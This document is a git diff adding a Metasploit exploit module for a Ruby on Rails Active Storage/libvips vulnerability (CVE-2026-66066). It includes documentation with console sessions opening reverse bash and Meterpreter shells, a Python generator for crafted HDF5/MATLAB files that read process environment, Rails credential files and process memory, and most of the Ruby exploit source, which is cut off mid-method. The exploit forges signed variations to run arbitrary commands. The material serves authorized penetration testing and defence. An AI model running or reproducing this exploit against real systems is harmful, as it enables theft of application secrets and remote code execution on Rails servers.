zMo{UYAb7A7vfs|`%;F%F^buNN!N|aK-ILhySVq({VV{AACh$ZTa*{JhR1+#WJhQVj+vxY*}6&TZ1)` zfoJ%OlV<21#&syN&A$R&#dmF~y9zy!!F}LHb{q`kskmB?FN0tu-%-J-qg?jUDdb|# zw*i4c21AvJLuBsx>oiZAMk}^eqP{{r6Tp2|v`5CnR@MkVCi@=*X{`V3b8@BgtGZ16 eM&`GEvq&nFQ@h0H7bATm*gh661?pg}3cLg0Bw+CX literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/proc_version.mat b/data/exploits/CVE-2026-66066/proc_version.mat new file mode 100644 index 0000000000000000000000000000000000000000..96d391bae4500c3c71dd7df459daecbc99475303 GIT binary patch literal 1968 zcmeHH%}T>S5S}D03B`iqMLg}%i#8X*qmiamFj`Cx-ZX?o19c-w3_gOsiN`*MZ>76C zGm46bg5bey$bR#`o5{DEMDvsANbK*0LOwLIQrTj+ZptdVmLkfVqLm^gHAyGpR|mMq z33TI6JMc6ePlki-f!#z9Ko8b&KQ6*6jivutM-AYL1c&gE@R{-*Fb}{M**B>E*SPt4 z9D|PJ^%yA)Zh9yMZ0PV`bzmAtGxNb0^wrF#7vdQ=L#no@N_8t$V@=Gp=Ju-?50!#twMS`$-`W zuD=GM6&x7q*Z>lH&tK+?tgek?Q%CnTa?*XFngg4`owdrhiT?vfasG_<%L${qs?0~N Ztm>jv+L)f6jm=HK=T~?f+2JZ3cmpv3U)TTu literal 0 HcmV?d00001 diff --git a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md new file mode 100644 index 0000000000000..4e0abbb7a3a31 --- /dev/null +++ b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md @@ -0,0 +1,233 @@ +## Vulnerable Application + +This module exploits CVE-2026-66066 in Ruby on Rails Active Storage when an +application uses libvips for image processing and accepts image uploads from +untrusted users. Active Storage did not block libvips unfuzzed loaders, so a +crafted MATLAB v7.3/HDF5 image can read files accessible to the Rails process +through a normal image representation response. The module reads +`/proc/self/environ` in bounded chunks, recovers `SECRET_KEY_BASE` directly or +through Rails local secrets / encrypted credentials, forges a signed Active +Storage variation, and triggers a JSON Vips transformation for command +execution. If ordinary secret recovery fails on Linux, the module can instead +read `/proc/self/smaps` or `/proc/self/maps` plus `/proc/self/mem` and recover +the in-memory Active Storage verifier key using an existing signed variation as +an HMAC oracle. + +The affected versions are: + +* `activestorage < 7.2.3.2` +* `activestorage >= 8.0, < 8.0.5.1` +* `activestorage >= 8.1, < 8.1.3.1` + +The underlying vulnerability requires +`config.active_storage.variant_processor = :vips` and an unauthenticated or +attacker-controlled image upload. The Rails advisory explicitly says generating +variants is not a separate affected-application requirement; this module still +uses a representation-based transport and therefore covers a narrower practical +chain than the full advisory scope. The module's current workflow expects the +standard Active Storage direct upload endpoint and at least one valid +representation URL anywhere in the application. Variation keys are +application-global rather than bound to a blob, so `REPRESENTATIONURI` can reuse +a public representation URL from an unrelated image. Automatic file recovery +first tries a lossless byte layout, then retries with a blocked HDF5 layout +that repeats each byte into a 5x5 pixel square and samples the untouched center +pixel. That fallback was validated against ordinary PNG `resize_to_limit` +representations down to 20x20, using 32, 16, 8, and 4 byte chunks as needed. +Cropping, lossy output, and more destructive transforms can still break +automatic recovery. If the operator supplies `SECRET_KEY_BASE`, any valid +representation token is enough for the forged variation itself. If +`REPRESENTATIONURI` is unset, the module first reuses a representation found on +`LANDINGURI` and only falls back to creating a safe PNG through `SUBMITURI` and +`ATTACHMENT_FIELD`. Those route requirements are module transport assumptions, +not additional vulnerability preconditions. + +The module's automatic secret-recovery path is Linux-specific because it reads +`/proc/self/environ`. It first checks for `SECRET_KEY_BASE` in the environment, +then falls back to `/proc/self/cwd/tmp/local_secret.txt`, and finally tries +Rails encrypted credentials using `RAILS_MASTER_KEY`, `config/master.key`, or +the common environment-specific key files for `production`, `staging`, +`development`, and `test`. If the operator already knows the Rails secret, the +`SECRET_KEY_BASE` option skips that recovery step. The environment reader uses +4096-byte HDF5 external-storage chunks up to 65536 bytes, rather than assuming +the useful variable appears in the first page. Encrypted credential reads are +similarly bounded to 262144 bytes. +If those sources do not yield the Rails secret, the module reads +`/proc/self/smaps` when available, orders writable private heap and anonymous +mappings by resident bytes, and scans `/proc/self/mem` for the 64-byte Active +Storage verifier key. If `smaps` is unavailable it falls back to +`/proc/self/maps` address order. This fallback is slower and noisier than normal +secret recovery, depends on readable Linux procfs memory files, and requires a +valid existing variation token to validate candidate keys. Procfs metadata +reads are bounded to 8 MiB and stop earlier once the file is exhausted. +The memory scan is a bounded best-effort fallback rather than a universal +guarantee: a sufficiently large or unusual worker can keep the verifier key +outside the default scan budget, and increasing `MemoryScanMaxBytes` trades +more HTTP requests for broader coverage. +The current representation-based workflow was validated with +`image_processing` 1.14.0. `image_processing` 2.0+ independently calls +`Vips.block_untrusted(true)` when its Vips backend loads, which blocks this +specific module path even on vulnerable Active Storage. + +The default payload is `cmd/unix/reverse_bash`, which works directly. Fetch adapter +payloads such as `cmd/linux/http/x64/meterpreter/reverse_tcp` also work when the +target has the selected fetch utility available and can reach the Metasploit +fetch listener. +The command execution path uses a signed JSON variation containing +`send: ["system", ...]`. The Vips transformer skips the MiniMagick-only +transformation allowlist, and `ImageProcessing::Processor#apply_operation` +dispatches that operation through Ruby's `send` to private `Kernel#system`. +This path was validated with the strict `:json` Active Support message +serializer and does not require Marshal fallback. + +Running `check` is not side-effect free: it creates an Active Storage blob to +verify the file-read primitive. If no existing representation URL is supplied +or found, it also creates one submitted safe record to obtain a variation key. + +The module was tested against a Dockerized Rails 8.0.5 application using +Ruby 3.2, libvips 8.16.1 built with `-Dmatio=enabled`, `ruby-vips ~> 2.2`, +and `image_processing ~> 1.2` (1.14.0). The application used a conventional +`has_one_attached :image` upload form and rendered +`@post.image.variant(format: :png).processed` on the show page. + +The Rails advisory is available at: +https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm + +## Verification Steps + +1. Install a vulnerable Rails application with Active Storage configured to use Vips and an image upload form. +1. Start `msfconsole`. +1. Do: `use exploit/multi/http/rails_activestorage_vips_rce` +1. Do: `set RHOSTS ` +1. Do: `set RPORT ` +1. Do: `set TARGETURI /` +1. Do: `set LANDINGURI /` +1. Do: `set REPRESENTATIONURI ` if one is already available +1. Do: `set SUBMITURI /posts` if `REPRESENTATIONURI` is not used +1. Do: `set ATTACHMENT_FIELD post[image]` if `REPRESENTATIONURI` is not used +1. Do: `set payload cmd/unix/reverse_bash` +1. Do: `set LHOST ` +1. Do: `run` +1. You should receive a command shell session. + +## Options + +### LANDINGURI + +The path to a CSRF-bearing page. The module also reuses a representation found +on this page before falling back to the submit flow. Default: `/`. + +### SUBMITURI + +The path that accepts the attachment form submit. Default: `/posts`. + +### DIRECTUPLOADURI + +The Active Storage direct-upload endpoint. Default: +`/rails/active_storage/direct_uploads`. + +### ATTACHMENT_FIELD + +The form field used for the signed blob ID. Default: `post[image]`. + +### REPRESENTATION_INDEX + +The zero-based image index to use when the landing page or submit response +contains multiple Active Storage representation images. Default: `0`. + +### REPRESENTATIONURI + +An existing Active Storage representation URL or path. When set, the module +reuses its global variation key and skips the safe upload submit flow. Automatic +secret recovery supports lossless PNG transformations and common +`resize_to_limit` PNG transformations through the blocked-byte fallback; if +`SECRET_KEY_BASE` is already known, any valid representation token is enough. + +### SECRET_KEY_BASE + +A known Rails `secret_key_base` value. When set, the module skips automatic +secret recovery and uses the supplied secret to forge the variation token. +When using a representation that is valid for signing but too destructive for +the file-read check, also set `AutoCheck false`. + +### KEY_GENERATOR_DIGEST + +The Rails key generator digest to use when deriving the Active Storage verifier +key. `auto` validates the application's existing signed variation token and +selects `sha256` or `sha1` before sending the forged variation. Default: +`auto`. + +## Advanced Options + +### MemoryScanMaxBytes + +The maximum number of process-memory bytes to scan after ordinary +`SECRET_KEY_BASE` recovery fails. Raising this value broadens the best-effort +memory fallback at the cost of more HTTP requests. Default: `536870912`. + +### MemoryScanStride + +The verifier-key candidate alignment to test while scanning process memory. +Valid values are `8` and `16`. Default: `8`. + +## Scenarios + +### Rails 8.0.5 on Debian Bookworm + +``` +msf6 > use exploit/multi/http/rails_activestorage_vips_rce +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003 +RPORT => 3003 +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set TARGETURI / +TARGETURI => / +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.18.0.1 +LHOST => 172.18.0.1 +msf6 exploit(multi/http/rails_activestorage_vips_rce) > run + +[*] Started reverse TCP handler on 172.18.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Recovered /proc/version through an Active Storage representation +[*] Reading up to 65536 bytes of /proc/self/environ through Active Storage +[+] Recovered SECRET_KEY_BASE from /proc/self/environ and stored environment loot in: /home/cryptocat/.msf4/loot/20260730181045_default_127.0.0.1_rails.process.en_944585.bin +[*] Detected SHA1 key derivation from the valid variation token +[*] Derived the Active Storage verifier key with SHA1 key derivation +[*] Triggering JSON Vips send gadget using a verifier key derived from /proc/self/environ +[*] Command shell session 1 opened (172.18.0.1:4444 -> 172.18.0.3:56260) at 2026-07-30 18:10:53 +0100 + +msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id +[*] Running 'id' on shell session 1 (127.0.0.1) +uid=1000(rails) gid=1000(rails) groups=1000(rails) +``` + +### Rails 8.0.5 on Debian Bookworm with Meterpreter + +``` +msf6 > use exploit/multi/http/rails_activestorage_vips_rce +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003 +RPORT => 3003 +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set TARGETURI / +TARGETURI => / +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.18.0.1 +LHOST => 172.18.0.1 +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set FETCH_SRVHOST 172.18.0.1 +FETCH_SRVHOST => 172.18.0.1 +msf6 exploit(multi/http/rails_activestorage_vips_rce) > run + +[*] Started reverse TCP handler on 172.18.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Recovered /proc/version through an Active Storage representation +[*] Reading up to 65536 bytes of /proc/self/environ through Active Storage +[+] Recovered SECRET_KEY_BASE from /proc/self/environ and stored environment loot in: /home/cryptocat/.msf4/loot/20260730181356_default_127.0.0.1_rails.process.en_680710.bin +[*] Detected SHA1 key derivation from the valid variation token +[*] Derived the Active Storage verifier key with SHA1 key derivation +[*] Triggering JSON Vips send gadget using a verifier key derived from /proc/self/environ +[*] Sending stage (3090404 bytes) to 172.18.0.3 +[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.3:51262) at 2026-07-30 18:13:59 +0100 +``` diff --git a/external/source/exploits/CVE-2026-66066/README.md b/external/source/exploits/CVE-2026-66066/README.md new file mode 100644 index 0000000000000..0099116620835 --- /dev/null +++ b/external/source/exploits/CVE-2026-66066/README.md @@ -0,0 +1,19 @@ +# CVE-2026-66066 Active Storage Vips templates + +This directory contains the generator for the HDF5/MATLAB external-storage +templates used by `modules/exploits/multi/http/rails_activestorage_vips_rce.rb`. +The generated artifacts are committed under `data/exploits/CVE-2026-66066/`. + +## Build + +The generator requires Python 3 and `h5py`. + +```sh +python3 -m venv .venv +.venv/bin/pip install h5py +.venv/bin/python external/source/exploits/CVE-2026-66066/generate_msf_templates.py +``` + +Run the commands from the Metasploit Framework root. The script performs local +layout checks while generating each template and writes the resulting files to +`data/exploits/CVE-2026-66066/`. diff --git a/external/source/exploits/CVE-2026-66066/generate_msf_templates.py b/external/source/exploits/CVE-2026-66066/generate_msf_templates.py new file mode 100755 index 0000000000000..ce2712db8d9f4 --- /dev/null +++ b/external/source/exploits/CVE-2026-66066/generate_msf_templates.py @@ -0,0 +1,177 @@ +#!/usr/bin/env python3 +"""Generate static HDF5 external-storage templates for the Metasploit module.""" + +from __future__ import annotations + +from pathlib import Path +import struct +import tempfile + +import h5py + + +HDF5_USERBLOCK_SIZE = 512 +HDF5_SIGNATURE = b"\x89HDF\r\n\x1a\n" +MATLAB_HEADER_TEXT = b"MATLAB 5.0 external-storage Active Storage MSF" +EXPECTED_EXTERNAL_OFFSET_POSITION = 1448 +BLOCKED_EXTERNAL_PATH_PLACEHOLDER = "/rails_vips_external_path_placeholder_012345678901234567890123456789" +BLOCKED_BYTE_SIZE = 5 +BLOCKED_CHUNK_BYTES = (32, 16, 8, 4) +FRAMEWORK_ROOT = Path(__file__).resolve().parents[4] +OUTPUT_DIR = FRAMEWORK_ROOT / "data" / "exploits" / "CVE-2026-66066" +TEMPLATES = { + "proc_version.mat": ("/proc/version", (1, 256)), + "environment.mat": ("/proc/self/environ", (1, 4096)), + "local_secret.mat": ("/proc/self/cwd/tmp/local_secret.txt", (1, 256)), + "master_key.mat": ("/proc/self/cwd/config/master.key", (1, 128)), + "credentials.mat": ("/proc/self/cwd/config/credentials.yml.enc", (1, 65536)), + "credentials_production.mat": ("/proc/self/cwd/config/credentials/production.yml.enc", (1, 65536)), + "credentials_staging.mat": ("/proc/self/cwd/config/credentials/staging.yml.enc", (1, 65536)), + "credentials_development.mat": ("/proc/self/cwd/config/credentials/development.yml.enc", (1, 65536)), + "credentials_test.mat": ("/proc/self/cwd/config/credentials/test.yml.enc", (1, 65536)), + "credentials_production_key.mat": ("/proc/self/cwd/config/credentials/production.key", (1, 128)), + "credentials_staging_key.mat": ("/proc/self/cwd/config/credentials/staging.key", (1, 128)), + "credentials_development_key.mat": ("/proc/self/cwd/config/credentials/development.key", (1, 128)), + "credentials_test_key.mat": ("/proc/self/cwd/config/credentials/test.key", (1, 128)), + "proc_maps.mat": ("/proc/self/maps", (512, 512)), + "proc_smaps.mat": ("/proc/self/smaps", (512, 512)), + "proc_mem_2048.mat": ("/proc/self/mem", (2048, 2048)), + "proc_mem_1024.mat": ("/proc/self/mem", (1024, 1024)), + "proc_mem_512.mat": ("/proc/self/mem", (512, 512)), + "proc_mem_256.mat": ("/proc/self/mem", (256, 256)), + "proc_mem_128.mat": ("/proc/self/mem", (128, 128)), + "proc_mem_64.mat": ("/proc/self/mem", (64, 64)), +} + + +def matlab_header() -> bytes: + header = bytearray(b" " * 128) + header[: len(MATLAB_HEADER_TEXT)] = MATLAB_HEADER_TEXT + struct.pack_into(" None: + byte_count = shape[0] * shape[1] + with h5py.File(output, "w", userblock_size=HDF5_USERBLOCK_SIZE) as mat_file: + dataset = mat_file.create_dataset( + "environment", + shape=shape, + dtype=" tuple[int, int]: + external = [ + (BLOCKED_EXTERNAL_PATH_PLACEHOLDER, index, 1) + for index in range(chunk_bytes) + for _column in range(BLOCKED_BYTE_SIZE) + for _row in range(BLOCKED_BYTE_SIZE) + ] + with h5py.File(output, "w", userblock_size=HDF5_USERBLOCK_SIZE) as mat_file: + dataset = mat_file.create_dataset( + "environment", + shape=(chunk_bytes * BLOCKED_BYTE_SIZE, BLOCKED_BYTE_SIZE), + dtype=" None: + OUTPUT_DIR.mkdir(parents=True, exist_ok=True) + with tempfile.TemporaryDirectory() as temp_dir: + for filename, (external_path, shape) in TEMPLATES.items(): + temp_path = Path(temp_dir) / filename + build_template(temp_path, external_path, shape) + (OUTPUT_DIR / filename).write_bytes(temp_path.read_bytes()) + print(f"{filename}: {shape[0]}x{shape[1]}") + for chunk_bytes in BLOCKED_CHUNK_BYTES: + filename = f"blocked_{chunk_bytes}.mat" + temp_path = Path(temp_dir) / filename + first_offset_position, segment_count = build_blocked_template(temp_path, chunk_bytes) + (OUTPUT_DIR / filename).write_bytes(temp_path.read_bytes()) + print( + f"{filename}: {chunk_bytes * BLOCKED_BYTE_SIZE}x{BLOCKED_BYTE_SIZE} " + f"offset_position={first_offset_position} segment_count={segment_count}" + ) + + +if __name__ == "__main__": + main() diff --git a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb new file mode 100644 index 0000000000000..3dbbc16433088 --- /dev/null +++ b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb @@ -0,0 +1,1313 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'openssl' +require 'base64' +require 'digest/md5' +require 'uri' +require 'yaml' +require 'zlib' + +# Exploits Active Storage Vips unfuzzed loaders to recover Rails secrets and execute a command payload. +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + prepend Msf::Exploit::Remote::AutoCheck + + SAFE_PNG = 'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAIAAABLbSncAAAADElEQVR4nGNgGB4AAADIAAGtQHYiAAAAAElFTkSuQmCC' + EXPLOIT_DATA_DIR = ['exploits', 'CVE-2026-66066'].freeze + DIGESTS = %w[sha256 sha1].freeze + # The bundled h5py templates place the HDF5 external-file offset field here. + HDF5_EXTERNAL_OFFSET_POSITION = 1448 + BLOCKED_EXTERNAL_PATH_PLACEHOLDER = '/rails_vips_external_path_placeholder_012345678901234567890123456789'.b.freeze + BLOCKED_BYTE_SIZE = 5 + BLOCKED_READ_TEMPLATES = [ + ['blocked_32.mat', 32, 59_256, 800], + ['blocked_16.mat', 16, 30_456, 400], + ['blocked_8.mat', 8, 16_056, 200], + ['blocked_4.mat', 4, 8_856, 100] + ].freeze + ENVIRONMENT_CHUNK_BYTES = 4096 + ENVIRONMENT_MAX_BYTES = 65_536 + CREDENTIALS_CHUNK_BYTES = 65_536 + CREDENTIALS_MAX_BYTES = 262_144 + MEMORY_METADATA_CHUNK_BYTES = 262_144 + MEMORY_METADATA_MAX_BYTES = 8_388_608 + VERIFIER_KEY_BYTES = 64 + MEMORY_SCAN_PROGRESS_BYTES = 64 * 1024 * 1024 + MEMORY_SCAN_TEMPLATES = [ + ['proc_mem_2048.mat', 2048], + ['proc_mem_1024.mat', 1024], + ['proc_mem_512.mat', 512], + ['proc_mem_256.mat', 256], + ['proc_mem_128.mat', 128], + ['proc_mem_64.mat', 64] + ].freeze + + class FlowError < StandardError; end + class ConfigError < FlowError; end + class DataError < FlowError; end + class TriggerError < StandardError; end + + # Minimal decoder for the grayscale PNG responses returned by the crafted representation. + class PngDecoder + PNG_SIGNATURE = "\x89PNG\r\n\x1a\n".b + + def self.decode(data) + raise TriggerError, 'Representation body is not a PNG image' unless data.start_with?(PNG_SIGNATURE) + + offset = PNG_SIGNATURE.bytesize + idat = String.new.b + width = nil + height = nil + bit_depth = nil + color_type = nil + interlace = nil + + while offset + 12 <= data.bytesize + length = data.byteslice(offset, 4).unpack1('N') + chunk_type = data.byteslice(offset + 4, 4) + chunk_data = data.byteslice(offset + 8, length) + raise TriggerError, 'Representation PNG contains a truncated chunk' unless chunk_data&.bytesize == length + + case chunk_type + when 'IHDR' + width, height, bit_depth, color_type, _compression, _filter, interlace = chunk_data.unpack('NNC5') + when 'IDAT' + idat << chunk_data + when 'IEND' + break + end + + offset += 12 + length + end + + raise TriggerError, 'Representation PNG is missing IHDR data' unless width && height + raise TriggerError, "Unsupported PNG bit depth #{bit_depth}" unless bit_depth == 8 + raise TriggerError, "Unsupported PNG color type #{color_type}" unless color_type == 0 + raise TriggerError, 'Interlaced PNG responses are not supported' unless interlace.zero? + + raw = Zlib::Inflate.inflate(idat) + stride = width + expected = height * (stride + 1) + raise TriggerError, 'Representation PNG scanline data is truncated' if raw.bytesize < expected + + previous = Array.new(stride, 0) + pixels = String.new.b + cursor = 0 + + height.times do + filter = raw.getbyte(cursor) + cursor += 1 + row = raw.byteslice(cursor, stride).bytes + cursor += stride + decoded = unfilter(filter, row, previous) + pixels << decoded.pack('C*') + previous = decoded + end + + { width: width, height: height, channels: 1, pixels: pixels } + rescue Zlib::DataError => e + raise TriggerError, "Representation PNG decompression failed: #{e.message}" + end + + def self.unfilter(filter, row, previous) + case filter + when 0 + row + when 1 + decoded = [] + row.each_index do |idx| + left = idx.zero? ? 0 : decoded[idx - 1] + decoded << ((row[idx] + left) & 0xff) + end + decoded + when 2 + row.each_index.map { |idx| (row[idx] + previous[idx]) & 0xff } + when 3 + decoded = [] + row.each_index do |idx| + left = idx.zero? ? 0 : decoded[idx - 1] + decoded << ((row[idx] + ((left + previous[idx]) / 2)) & 0xff) + end + decoded + when 4 + decoded = [] + row.each_index do |idx| + left = idx.zero? ? 0 : decoded[idx - 1] + upper = previous[idx] + upper_left = idx.zero? ? 0 : previous[idx - 1] + decoded << ((row[idx] + paeth(left, upper, upper_left)) & 0xff) + end + decoded + else + raise TriggerError, "Unsupported PNG scanline filter #{filter}" + end + end + + def self.paeth(left, upper, upper_left) + estimate = left + upper - upper_left + left_distance = (estimate - left).abs + upper_distance = (estimate - upper).abs + upper_left_distance = (estimate - upper_left).abs + + return left if left_distance <= upper_distance && left_distance <= upper_left_distance + return upper if upper_distance <= upper_left_distance + + upper_left + end + + private_class_method :unfilter, :paeth + end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ruby on Rails Active Storage Vips Arbitrary File Read and Remote Code Execution', + 'Description' => %q{ + This module exploits CVE-2026-66066 in Ruby on Rails Active Storage when the + application uses the Vips variant processor and accepts untrusted image uploads. + Active Storage did not block libvips unfuzzed loaders, allowing a crafted MATLAB + v7.3/HDF5 image to read files from the application host through a normal image + representation response. + + The module first confirms the file-read primitive using /proc/version. During + exploitation it reads /proc/self/environ, recovers SECRET_KEY_BASE directly or + through Rails local secrets / encrypted credentials, forges a signed JSON Active + Storage variation, and reaches ImageProcessing::Processor#send to execute a command + payload. If ordinary secret recovery fails on Linux, it falls back to reading + /proc/self/smaps or /proc/self/maps and /proc/self/mem to recover the in-memory + Active Storage verifier key using an existing signed variation as an HMAC oracle. + Operators can provide a known SECRET_KEY_BASE to skip automatic recovery. + + The module can reuse an existing Active Storage representation URL because + variation keys are global to the application, not bound to a blob. Automatic + file recovery first uses a lossless byte layout, then retries common PNG + resize_to_limit transformations with a blocked-byte layout that preserves each + byte in the center of a 5x5 pixel square. Once SECRET_KEY_BASE is supplied, any + valid representation token is sufficient for the forged variation. If no + representation URL is supplied or found on the landing page, the module falls + back to an application-specific upload form path, submit path, and attachment + field name. It has been validated against Rails 7.2.3.1 and Rails 8.0.5 using + the Vips variant processor, including a Rails 8.0.5 lab configured with the + strict :json Active Support message serializer. + }, + 'Author' => [ + '0xacb', # Vulnerability discovery + 's3np41k1r1t0', # Vulnerability discovery + 'castilho', # Vulnerability discovery + 'RyotaK', # Vulnerability discovery + 'Crypto-Cat' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-66066'], + ['GHSA', 'xr9x-r78c-5hrm'], + ['URL', 'https://ethiack.com/info-hub/research/kindarails2shell-rails-rce-cve-2026-66066'] + ], + 'DisclosureDate' => '2026-07-29', + 'Platform' => %w[linux unix], + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Targets' => [ + ['Automatic', {}] + ], + 'DefaultTarget' => 0, + # Generic ARCH_CMD Linux/Unix compatibility makes the framework prefer + # dependency-heavy Meterpreter wrappers over the direct command payload + # validated for this module. + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [UNRELIABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Base path to the Rails application', '/']), + OptString.new('LANDINGURI', [true, 'Path to a CSRF-bearing page and optional representation/form', '/']), + OptString.new('SUBMITURI', [true, 'Path that accepts the attachment form submit', '/posts']), + OptString.new('DIRECTUPLOADURI', [true, 'Active Storage direct-upload endpoint', '/rails/active_storage/direct_uploads']), + OptString.new('ATTACHMENT_FIELD', [true, 'Form field used for the signed blob ID', 'post[image]']), + OptInt.new('REPRESENTATION_INDEX', [true, 'Zero-based representation image index in the landing or submit response', 0]), + OptString.new('REPRESENTATIONURI', [false, 'Existing Active Storage representation URL or path; automatic recovery supports lossless and common resize_to_limit PNG transforms', nil]), + OptString.new('SECRET_KEY_BASE', [false, 'Known Rails secret_key_base value; skips automatic secret recovery when set', nil]), + OptEnum.new('KEY_GENERATOR_DIGEST', [ + true, 'Rails key generator digest', 'auto', ['auto', 'sha256', 'sha1'] + ]) + ] + ) + + register_advanced_options( + [ + OptInt.new('MemoryScanMaxBytes', [true, 'Maximum process memory bytes to scan when secret recovery fails', 536_870_912]), + OptInt.new('MemoryScanStride', [true, 'Candidate verifier-key alignment to test during the process memory scan', 8]) + ] + ) + end + + def check + validate_options! + representation = try_file_read('proc_version.mat', 'probe.bmp') + if representation && representation[:pixels].include?('Linux version ') + report_vuln( + host: rhost, + port: rport, + proto: 'tcp', + name: fullname, + info: 'Confirmed arbitrary file read through an Active Storage representation', + refs: references + ) + return CheckCode::Vulnerable('Recovered /proc/version through an Active Storage representation') + end + + representation = try_blocked_file_read_chunks( + '/proc/version', + 'probe.bmp', + max_bytes: 256 + ) { |read| read[:pixels].include?('Linux version ') } + if representation && representation[:pixels].include?('Linux version ') + report_vuln( + host: rhost, + port: rport, + proto: 'tcp', + name: fullname, + info: 'Confirmed arbitrary file read through an Active Storage representation', + refs: references + ) + return CheckCode::Vulnerable('Recovered /proc/version through a resize-tolerant Active Storage representation') + end + + CheckCode::Unknown('The representation did not contain /proc/version data; the selected variation may not preserve file bytes') + rescue TriggerError => e + vprint_error(e.message) + CheckCode::Unknown(e.message) + rescue FlowError => e + vprint_error(e.message) + CheckCode::Unknown(e.message) + end + + def exploit + validate_options! + context = exploit_context + print_status("Triggering JSON Vips send gadget using #{context[:verifier_source]}") + serialized = json_variation_payload(payload.encoded) + variation = forged_variation(context[:verifier_key], serialized) + trigger_variation(context[:representation][:path], variation) + rescue ConfigError => e + fail_with(Failure::BadConfig, e.message) + rescue DataError => e + fail_with(Failure::NotFound, e.message) + rescue FlowError, TriggerError => e + fail_with(Failure::UnexpectedReply, e.message) + end + + private + + def app_uri(path) + normalize_uri(target_uri.path, path) + end + + def validate_options! + raise ConfigError, 'REPRESENTATION_INDEX must be non-negative' if datastore['REPRESENTATION_INDEX'].negative? + raise ConfigError, 'MemoryScanMaxBytes must be at least 4096' if datastore['MemoryScanMaxBytes'] < 4096 + raise ConfigError, 'MemoryScanStride must be 8 or 16' unless [8, 16].include?(datastore['MemoryScanStride']) + end + + def data_file(name, external_offset: 0, external_path: nil) + paths = [Msf::Config.data_directory, Msf::Config.user_data_directory].map do |directory| + ::File.join(directory, *EXPLOIT_DATA_DIR, name) + end + path = paths.find { |candidate| ::File.file?(candidate) } + raise DataError, "Missing exploit data file: #{paths.join(' or ')}" unless path + + data = ::File.binread(path) + raise FlowError, 'External read offset must be non-negative' if external_offset.negative? + + blocked_layout = blocked_template_layout(name) + return blocked_data_file(data, name, blocked_layout, external_offset, external_path) if blocked_layout + return data if external_offset.zero? + + unless data.byteslice(HDF5_EXTERNAL_OFFSET_POSITION, 8) == ("\x00" * 8) + raise DataError, "Exploit data file #{name} did not contain the expected HDF5 external offset field" + end + + data = data.dup + data[HDF5_EXTERNAL_OFFSET_POSITION, 8] = [external_offset].pack('Q<') + data + end + + def blocked_template_layout(name) + BLOCKED_READ_TEMPLATES.find { |artifact, _chunk_bytes, _offset_position, _segment_count| artifact == name } + end + + def blocked_data_file(data, name, layout, external_offset, external_path) + raise FlowError, "Blocked exploit data file #{name} requires an external path" if external_path.blank? + + external_path = external_path.to_s.b + if external_path.include?("\x00") || external_path.bytesize > BLOCKED_EXTERNAL_PATH_PLACEHOLDER.bytesize + raise FlowError, 'Blocked external read path was invalid or too long' + end + + _artifact, _chunk_bytes, first_offset_position, segment_count = layout + replacement = external_path.ljust(BLOCKED_EXTERNAL_PATH_PLACEHOLDER.bytesize, "\x00") + replaced_paths = data.scan(BLOCKED_EXTERNAL_PATH_PLACEHOLDER).length + unless replaced_paths == segment_count + raise DataError, "Exploit data file #{name} did not contain the expected blocked external paths" + end + + data = data.gsub(BLOCKED_EXTERNAL_PATH_PLACEHOLDER, replacement) + + segments_per_byte = BLOCKED_BYTE_SIZE * BLOCKED_BYTE_SIZE + segment_count.times do |segment_index| + position = first_offset_position + (segment_index * 24) + expected_offset = segment_index / segments_per_byte + unless data.byteslice(position, 8)&.unpack1('Q<') == expected_offset && data.byteslice(position + 8, 8)&.unpack1('Q<') == 1 + raise DataError, "Exploit data file #{name} did not contain the expected blocked external offset layout" + end + + data[position, 8] = [external_offset + expected_offset].pack('Q<') + end + + data + end + + def safe_png + Base64.strict_decode64(SAFE_PNG) + end + + def file_read(artifact_name, filename, external_offset: 0, external_path: nil) + landing = landing_page + artifact_signed_id = direct_upload( + csrf_token: landing[:csrf_meta], + filename: filename, + content_type: 'image/bmp', + content: data_file(artifact_name, external_offset: external_offset, external_path: external_path) + ) + base_path = base_representation_path + representation_path = substitute_representation_blob(base_path, artifact_signed_id, filename) + res = send_request_cgi!('method' => 'GET', 'uri' => request_uri(representation_path), 